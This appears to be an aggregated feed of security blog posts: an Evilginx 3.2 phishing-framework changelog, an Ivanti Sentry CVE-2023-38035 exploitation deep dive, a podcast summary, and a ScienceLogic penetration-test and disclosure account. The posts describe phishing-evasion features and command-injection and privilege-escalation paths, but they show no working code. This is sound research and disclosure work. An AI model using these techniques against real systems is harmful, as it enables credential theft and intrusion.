This should also make working with js_inject much more convenient.

JavaScript injected through external references

Normally when your phishlets inject JavaScript, through js_inject functionality, Evilginx would drop the whole script into the content of the HTML page within <script>...</script> tags. This approach was kind of messy, so I figured out a way to inject multiple scripts as external references, like this:

<script type="application/javascript" src="/s/48d378a85f0867ef16bf0fd28deda0d4b30139c54805033803e7fdcbc31f293c/2628b4fe94aa35effbe26d64ed6decd00c9d26fb53aa0dfb57836055a27e38cf.js"></script>
<script type="application/javascript" src="/s/48d378a85f0867ef16bf0fd28deda0d4b30139c54805033803e7fdcbc31f293c.js"></script>

Requests to download external JavaScript resources will be intercepted by Evilginx proxy and the response will be delivered from Evilginx directly, without ever being forwarded to the destination website.

This approach should make it possible to introduce dynamic JS obfuscation, in the future. (Stay tuned!)


Here is the full changelog for Evilginx 3.2:

  • Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.
  • Feature: Lures can now be paused for a fixed time duration with lures pause <id>. Useful when you want to briefly redirect your lure URL when you know sandboxes will try to scan them.
  • Feature: Added phishlet ability to intercept HTTP requests and return custom responses via a new intercept section.
  • Feature: Added a new optional redirect_url value for phishlet config, which can hold a default redirect URL, to redirect to, once tokens are successfully captured. redirect_url set for the specific lure will override this value.
  • Feature: You can now override globally set unauthorized redirect URL per phishlet with phishlet unauth_url <phishlet> <url>.
  • Fixed: Disabled caching for HTML and Javascript content to make on-the-fly proxied content replacements and injections more reliable.
  • Fixed: Blocked requests will now redirect using javascript, instead of HTTP location header.
  • Fixed: Improved JS injection by adding <script src"..."> references into HTML pages, instead of dumping the whole script there.
  • Fixed: Changed redirect_url to unauth_url in global config to avoid confusion.
  • Fixed: Fixed HTTP status code response for Javascript redirects.
  • Fixed: Javascript redirects now happen on text/html pages with valid HTML content.
  • Fixed: Removed ua_filter column from the lures list view. It is still viewable in lure detailed view.

Closing Thoughts

Hope you enjoy this update and there is more to come for Evilginx!

If you are interested in mastering the Evilginx phishing framework, consider checking out my Evilginx Mastery course:

In the upcoming weeks, I want to show off a sneak peek of Evilginx Pro and outline all of its extra features. Evilginx Pro will be a paid product I want to distribute only to vetted red teaming companies around the world.

I will post more details when I'm ready!

If you are interested in how to protect against reverse proxy phishing, do check out the talk I gave in May at x33fcon cybersecurity conference from this year:

For now, stay tuned and you can always follow me on Twitter @mrgretzky.

Ivanti Sentry Authentication Bypass CVE-2023-38035 Deep Dive

24 August 2023 at 11:52


Ivanti has recently published an advisory for CVE-2023-38035. The vulnerability has been added to CISA KEV and is described as an authentication bypass in the Ivanti Sentry administrator interface. This new vulnerability comes on the heels of an in-the-wild-exploited vulnerability in Ivanti EPMM (CVE-2023-35078). In this post we will take a deep dive into how this new vulnerability can be used to give an attacker the ability to remotely execute code as the root user. You can find our PoC here.

Patch Diffing

The advisory contains rpm files that we can use to patch supported versions of Ivanti Sentry. We use the tool rpm2cpio to examine the contents of these files to start to get an idea of how the patch works.

rpm2cpio sentry-security-update

rpm2cpio sentry-security-update

We find two more rpm files, one described as mi-mics and another described as mi-system-scripts. Let’s see what’s in the mi-mics rpm.

rpm2cpio mi-mics

rpm2cpio mi-mics

From this file listing, we are quickly drawn to mics.war. We assume that mics.war contains majority of the code for the Sentry web interface. Next, let’s pull a vulnerable mics.war from a live system and compare the contents.

mics.war diff

mics.war diff

Luckily for us, there aren’t that many differences considering we are comparing Sentry version 9.12 with 9.18. After some digging, we notice that a service has been removed from the remoting-servlet.xml file.

remoting-servlet.xml diff

remoting-servlet.xml diff

We also see that the endpoint for services/ has no authentication requirements.

cat security.xml

cat security.xml

We see that the removed service should expose the interface described by com.mi.middleware.service.ConfigService and should be implemented in the configServiceHandler class. Let’s see if we can find those classes.

grep for com.mi.middleware.service.ConfigService

grep for com.mi.middleware.service.ConfigService

grep for configServiceHandler

grep for configServiceHandler

It appears we can find the ConfigService interface in common- and the implementing class, configServiceHandler, in mics-core-9.12.0-R9.12.0.jar. Let’s see what interface the service offers.

Config Service Interface

Config Service Interface

Hessian RPC

Let’s take a step back and see how we are supposed to call these functions. We know from the advisory that this should be an HTTP vulnerability, but these functions don’t look like your typical HTTP endpoints. If we look back at remoting-servlet.xml from earlier we see that this service references a class called SentryMicsHessianServiceExporter. We have never heard of Hessian before, but after some searching on the internet it appears to be a type of binary/XML RPC.

We can use the python-hessian package to try to connect this this service.



Here, we can see that its pretty easy to call methods from this service. The only complicating factor is that there doesn’t seem to be an easy way to disable SSL certificate checking. To get around this, we monkey patch HTTPSConnection used by python-hessian.

Close, but no Cigar

At first, it seems like there is a command injection in the doMICSServiceOperation endpoint. This endpoint ultimately calls Java’s Runtime.exec with attacker controlled arguments. However, it is really just an argument injection, not a full command injection. The endpoint passes the string /usr/bin/sudo /sbin/service <attacker input> <attacker input> to Runtime.exec. It appears on this system, Runtime.exec does not run this command through a shell so the normal bash command substitutions won’t work. It seems challenging to get RCE using this attack path. Shifting our attention, we notice that there are some changes to httpd configuration files for similar hessian endpoints.

httpd configuration changes

httpd configuration changes

Let’s take a look at the MICSLogService.

MICSLogService Command Injection

After some searching, we find an interesting method named uploadFileUsingFileInput



This function takes a SystemCommandRequestDTO and passes it to a thread (new 1(this,requestDTO), this is a decompiler artifact). Let’s take a look at what this thread does.

exec thread

exec thread

We can see on line 44, attacker controlled input is passed into rt.exec. This time, our input is passed directly to the function so we don’t have to worry about not having shell parsing like last time. We just need to figure out how to pass a SystemCommandRequestDTO which has the following form.



We can simply pass a Python dictionary with the same layout. Our updated PoC now looks like this with a curl payload.

new PoC

new PoC

Indicators of Compromise

There aren’t any definitive IoCs that we have found so far. However, any unrecognized HTTP requests to /services/* should be cause for concern. The endpoint that we exploited is likely not the only one that would allow an attacker to take control of the machine.

Ivanti Sentry doesn’t offer a standard Unix shell, but if a known exploited system is being forensically analyzed, /var/log/tomcat2/contains access logs that can be used to check which endpoints were accessed.

Lastly, there are logs in the web interface that might be of use to check for any suspicious activity.

GUI logs

GUI logs


We were able to successfully utilize an exposed endpoint to execute arbitrary commands without any authentication. Shodan shows that this product has over 500+ instances exposed on the internet.



We recommend that any affected users of this product apply the patch for their version and verify that it is not exposed externally to the internet if possible.

The post Ivanti Sentry Authentication Bypass CVE-2023-38035 Deep Dive appeared first on

ICS security, Blue Team Con and security work in the Air Force Reserve | Guest Lesley Carhart

By: Infosec
21 August 2023 at 18:00

Lesley Carhart of Dragos, also known as Hack4Pancakes on social media, is a lifelong breaker and builder of things, and their insights on the deep mechanics of Industrial Control Systems are an absolute must-hear for any of you even considering this space. Carhart also talks about their keynote at this year’s Blue Team Con, the differences between incident response in the military vs. the private sector, and why standard cybersecurity studies won’t take you as far in ICS as it will to learn how train track switchers work. Seriously, this is one of the best episodes I’ve ever been a part of, and I can’t wait for you to hear it!

– Get your FREE cybersecurity training resources:
– View Cyber Work Podcast transcripts and additional episodes:

0:00 - ICS security 
3:40 - Getting started in cybersecurity 
9:13 - The early days of the internet
11:05 - Air Force cybersecurity 
12:50 - Military cybersecurity training 
15:00 - Incident response work at Motorolla
18:40 - Technical director of incident response
23:30 - State of ICS
39:13 - Starting work in ICS
41:57 - Keynote speaker at Blue Team Con
46:46 - Bringing diversity into ICS
53:46 - Outro 

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at


ScienceLogic Dumpster Fire

By: b0yd
16 August 2023 at 02:50

This article is in no way affiliated, sponsored, or endorsed with/by ScienceLogic, Inc. All graphics are being displayed under fair use for the purposes of this article.

Just another Day

During a penetration test for a client last year, our team identified a noteworthy target that piqued our interest. A screenshot of the website appeared in our scan findings.

After a brief investigation, we found a page that provided a clear overview of the web application’s potential function and its default credentials.

The default credentials for the phpmyadmin server on port 8008 were also provided. This detail becomes crucial later, as it grants the ability to directly modify records within the application database.

Regrettably, the system owner had not updated the default passwords, allowing us to access the system. Immediately noticeable was a menu named “Device Toolbox.” We started examining the parameters provided to these tools, as they frequently have command injection vulnerabilities due to inadequate input filtering.

After trying different payloads in the request fields, the following screen appeared as we navigated through the tool wizard.

Having demonstrated command execution, we swapped the payload for a reverse shell callback and launched it. This granted us shell access to the server. Considering the simplicity of uncovering this initial command injection vulnerability, we believed there might be more similar flaws. Now, with system access, we can observe process creation events using one of our preferred tools, Pspy. As expected, four additional command injection vulnerabilities were identified by exercising various endpoints in the web application and monitoring process creation events in Pspy. An example is illustrated below.

Having access to the file system, we proceeded to examine the web application’s source code. This would make identifying vulnerabilities simpler than through blackbox testing. However, when we tried to view the PHP files, they seemed to be indecipherable.

What about root?

Given our inability to access the web application’s source code, we shifted our focus towards pinpointing potential paths for privilege escalation to root. We uploaded and ran LinPeas on the system to identify any potential privilege escalation vulnerabilities. While LinPeas didn’t reveal anything of particular use, a copy of the sudoers file was located in one of the backup folders on the file system. It had several applications that could be executed as root, without a password, that have known privilege execution capabilities.

The find command is one of my gotos after running across this article years ago. Running the following command will execute the listed command as root on the system.

Copy to Clipboard

Having gained root privileges, we could now revisit the web application and hopefully find a way to review the source code for vulnerabilities.

Let’s briefly diverge to discuss the DMCA and the laws surrounding the circumvention of copyright protections. I bring this up because even basic encoding or encryption of source code might be viewed as a method to safeguard copyright. This could potentially hinder security researchers from examining the source code for vulnerabilities. Fortunately, Title 37 recently updated laws surrounding this topic effectively granting security researcher exception to this rule if done under the auspices of good-faith security research. Given that we are red teamers performing good-faith security research, securing our customers against critical vulnerabilities, we clearly fall under this exception.

We took a look at the PHP configuration and noticed a custom module was being used to load each source file. Analyzing the module in IDA Pro, it appears to be a simple function that decrypts the file with a static AES 256 key and then decompresses the output with zlib. Nothing fancy here.

Running this algorithm against the garbled source does the trick and we end up with normal looking PHP.

Beware what’s inside!!!

With access to the source code, we started scrutinizing it for more serious vulnerabilities. We had previously observed a command injection bug where the command was saved in the database and subsequently fetched and executed. This prompted us to search for potential SQL injection vulnerabilities, which might be escalated to remote code execution. As we examined the application endpoints, we discovered what seemed like systematic SQL injection issues. After pinpointing roughly 20 SQL injection vulnerabilities, we chose to conclude our search. A few examples are provided below.

Having identified a combined 25 command injection and SQL injection vulnerabilities we decided to stop bug hunting and reach out to the vendor to begin the disclosure process.

Vendor Disclosure & Patch

We’d love to say responsibly disclosing the vulnerabilities we discovered went smoothly, but it was easily the worst we’ve experienced. What will follow will be presented as a comical list of when responsible disclosure is probably going to go bad. In reality, all of these things happened during this one disclosure.

  • The vendor has no public vulnerability disclosure policy

  • The vendor has no security related email contacts listed on their website

  • The vendor Twitter account refuses to give you a security contact after you explain you want to disclose a security vulnerability.

  • After spamming vendor emails harvested from OSINT, the only response you get is from a random engineer. Fortunately, he forwards the email to the security director.

  • The security director refuses to accept your report, and instead points you to a portal to submit a ticket.

  • After signing up for the ticketing portal, you find that you can’t submit a ticket unless you are a customer.

  • When you notify the company that you can’t submit a ticket unless you are a customer, they tell you to have your customer submit the report.

  • When you send the report anyways, encrypted, hosted on trusted website, they refuse to open it because they claim it could be a phish.

  • Individuals from the vendor, reach out to arbitrary contacts in your customer’s organization to report you for unusual, possibly malicious behavior.

  • Upon verification of your identity by multiple individuals in your customer’s organization, they agree to open the results but go silent for  weeks.

  • You receive an email from @zerodaylaw (no seriously) saying they will be representing the vendor going forward in the disclosure process.

  • The law firm has no technical questions about the vulnerabilities themselves, but instead about behavior surrounding post-exploitation and why this software was “targeted“.

  • After multiple, unresponsive, follow-up emails with both the law firm & the vendor about coordinating with @MITREcorp to get CVEs reserved, you get an email asking to meet in person, that very week.

  • In the follow-up phone call (after declining to meet in person), the vendor claims most of the bugs were “features” or in “dead code“.

  • The primary focus on the call with the vendor is how we “got” the company’s code and not about vulnerabilities details.

  • The vendor claims that meeting the 90-day public disclosure is unlikely and given their customer base they have no estimate on when public disclosure could happen.

  • After the phone call, the vendor sends an email asking questions focused on exact times, people, authorizations, and details surrounding the vulnerability coordination with @MITREcorp

  • Lawyers from the vendor contact your customer’s organization requesting copies of all correspondence with @MITREcorp.

From the list, it’s evident that the interaction ranged from being challenging to outright hostile. However, there was a silver lining: Securifera opted to pursue the status of a CVE numbering authority (CNA). Obtaining CNA status enables an organization to reserve and disclose CVEs more conveniently.

In the last email correspondence with the vendor, nearly 9 months ago, the security director asserted that the vulnerabilities were addressed. However, they remained reluctant to proceed with CVE issuance. Considering the extensive duration that’s transpired, we opted to independently proceed with CVE issuance and disclosure. As a result, the vulnerabilities we identified are logged as CVE-2022-48580 through CVE-2022-48604. We hope the aforementioned list can act as a guide for vendors on practices to avoid in the realm of responsible vulnerability disclosure. For vendor’s looking for a good reference for how to properly run a coordinated vulnerability disclosure program, the following guide was put together to assist by the smart people at Carnegie Mellon.